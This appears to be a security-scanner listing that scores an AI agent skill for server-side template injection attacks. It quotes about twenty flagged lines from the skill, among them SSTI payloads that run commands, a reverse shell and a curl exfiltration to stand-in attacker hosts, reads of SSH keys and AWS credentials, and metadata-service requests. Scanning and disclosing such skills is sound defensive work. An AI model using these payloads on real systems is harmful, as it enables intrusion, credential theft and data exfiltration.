offensive-ssti

72 / 100 · Review before installing

Check before installing. Some of what it can do is expected: a coding skill usually runs build and test commands.

By SnailSploit/Claude-Red (GitHub) · coding · 10,590 stars · scanned at commit a8de813

Dense description covering Server-Side Template Injection across Jinja2, Twig, Freemarker, Velocity, Pebble, Smarty, Mako, Handlebars, ERB, Thymeleaf, EJS, Pug. Engine fingerprinting, filter bypass, blind exploitation, WAF evasion, SSTI-to-RCE chains. Tools: tplmap. CWE-1336. MITRE T1190. Use when testing template rendering endpoints or exploiting template injection for code execution.

Works with any agent that supports SKILL.md skills.

What this skill can do

Runs commands on your computer

This is disclosed by the author in the skill's SKILL.md or README. Expected for a coding skill.

Found in 14 places.

Skills/web/offensive-ssti/SKILL.md, line 126{{''.__class__.__mro__[1].__subclasses__()[INDEX]('id',shell=True,stdout=-1).communicate()[0]}}
Skills/web/offensive-ssti/SKILL.md, line 138{{self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read()}}
Skills/web/offensive-ssti/SKILL.md, line 141{{lipsum.__globals__.os.popen('id').read()}}

Show 11 more

Skills/web/offensive-ssti/SKILL.md, line 142{{namespace.__init__.__globals__.os.popen('id').read()}}
Skills/web/offensive-ssti/SKILL.md, line 272<% import os; result = os.popen('id').read() %>
Skills/web/offensive-ssti/SKILL.md, line 278GET /page?name=%24%7Bself.module.cache.util.os.popen('id').read()%7D HTTP/1.1
Skills/web/offensive-ssti/SKILL.md, line 301{{this.pop}}{{this.push "return require('child_process').execSync('id')"}}{{this.pop}}
Skills/web/offensive-ssti/SKILL.md, line 311<%= global.constructor.constructor('return process.mainModule.require("child_process").execSync("id").toString()')() %>
Skills/web/offensive-ssti/SKILL.md, line 320{"settings":{"view options":{"outputFunctionName":"x;process.mainModule.require('child_process').execSync('id');s"}}}
Skills/web/offensive-ssti/SKILL.md, line 328- var x = global.process.mainModule.require('child_process').execSync('id').toString()
Skills/web/offensive-ssti/SKILL.md, line 335{{range.constructor("return global.process.mainModule.require('child_process').execSync('id').toString()")()}}
Skills/web/offensive-ssti/SKILL.md, line 510{{self.__init__.__globals__.__builtins__.__import__('os').popen('bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"').read()}}
Skills/web/offensive-ssti/SKILL.md, line 514`bash -c {echo,BASE64_REVSHELL}|{base64,-d}|{bash,-i}`.
Skills/web/offensive-ssti/SKILL.md, line 587python tplmap.py -u 'http://target.example.com/page?name=test' # Basic scan

Sends data to these websites: unique.oastify.com, 169.254.169.254, internal-api, attacker

The author does not mention this.

Found in 5 places.

Skills/web/offensive-ssti/SKILL.md, line 457{{self.__init__.__globals__.__builtins__.__import__('os').popen('curl http://UNIQUE.oastify.com').read()}}
Skills/web/offensive-ssti/SKILL.md, line 464{{['curl http://UNIQUE.oastify.com']|map('system')}} # Twig
Skills/web/offensive-ssti/SKILL.md, line 489{{self.__init__.__globals__.__builtins__.__import__('urllib.request').urlopen('http://169.254.169.254/latest/meta-data/iam/security-credentials/').read()}}

Show 2 more

Skills/web/offensive-ssti/SKILL.md, line 492{{self.__init__.__globals__.__builtins__.__import__('urllib.request').urlopen('http://internal-api:8080/admin').read()}}
Skills/web/offensive-ssti/SKILL.md, line 537{{self.__init__.__globals__.__builtins__.__import__('os').popen('curl -X POST -d @/etc/passwd http://ATTACKER/exfil').read()}}

Reads your saved credentials, such as SSH keys or .env files

The author does not mention this.

Found in 2 places.

Skills/web/offensive-ssti/SKILL.md, line 500{{''.__class__.__mro__[1].__subclasses__()[40]('/home/app/.ssh/id_rsa').read()}} # SSH keys
Skills/web/offensive-ssti/SKILL.md, line 501{{''.__class__.__mro__[1].__subclasses__()[40]('/home/app/.aws/credentials').read()}} # AWS creds

Safer alternatives

Low-risk skills in the same category (coding) that look related. Check that one does what you need.

Install

Paste this into your terminal. It downloads exactly the version we scanned, not whatever is newest.

if [ -e ~/.agents/skills/'offensive-ssti' ] || [ -L ~/.agents/skills/'offensive-ssti' ]; then echo 'A skill folder named offensive-ssti already exists — not replacing it' >&2; false; else d=$(mktemp -d) && git clone --quiet --filter=blob:none --no-checkout 'https://github.com/SnailSploit/Claude-Red' "$d" && git -C "$d" checkout --quiet 'a8de813edc9f66f60d44cfe42d47750e89d9930b' -- 'Skills/web/offensive-ssti' && mkdir -p ~/.agents/skills && cp -R "$d"/'Skills/web/offensive-ssti' ~/.agents/skills/'offensive-ssti' && rm -rf "$d"; fi

Codex reads ~/.agents/skills directly. For Claude Code, Cursor, Copilot, Gemini CLI, Antigravity or OpenCode, also link it. For Claude Code: ln -s ~/.agents/skills/'offensive-ssti' ~/.claude/skills/'offensive-ssti' (other agents: ~/.cursor/skills, ~/.copilot/skills, ~/.gemini/skills, ~/.gemini/config/skills, ~/.config/opencode/skills). Or install through the finder skill, which does both.

Badge for your README

The badge for SnailSploit/Claude-Red shows the score of its lowest-scoring skill.

SkillTrust badge for SnailSploit/Claude-Red

[![SkillTrust](https://zalavijaysinh.github.io/skilltrust/badges/SnailSploit/Claude-Red.svg)](https://zalavijaysinh.github.io/skilltrust/repos/SnailSploit/Claude-Red/)

Score history

Date	Version	Score
2026-11-08	`a8de813`	72
2026-11-07	`a8de813`	72